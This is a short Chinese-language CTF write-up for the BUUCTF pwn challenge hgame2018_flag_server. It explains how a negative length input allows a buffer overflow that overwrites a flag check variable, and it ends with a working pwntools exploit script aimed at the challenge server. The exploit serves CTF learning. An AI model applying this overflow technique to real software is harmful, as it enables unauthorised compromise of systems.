[BUUCTF-pwn]——hgame2018_flag_server
保护开启了 NX和canary
看下反汇编,只要v10非0就可以得到flag, 也就是v6 = v8,但是显然v8是一个随机数, 并且没有找到可以修改的地方。
仔细观察上面的代码,一旦v5为负数,我们就可以无限输入了,并且s1距离v10为0x40 = 64, 我们只需要输入0x40个字符就可以开始修改v10了
exploit
from pwn import *
p = remote("node3.buuoj.cn",28128)
p.sendlineafter('your username length: ','-1')
payload= 'a' * 0x40 + p32(1)
p.sendlineafter('whats your username?\n',payload)
p.interactive()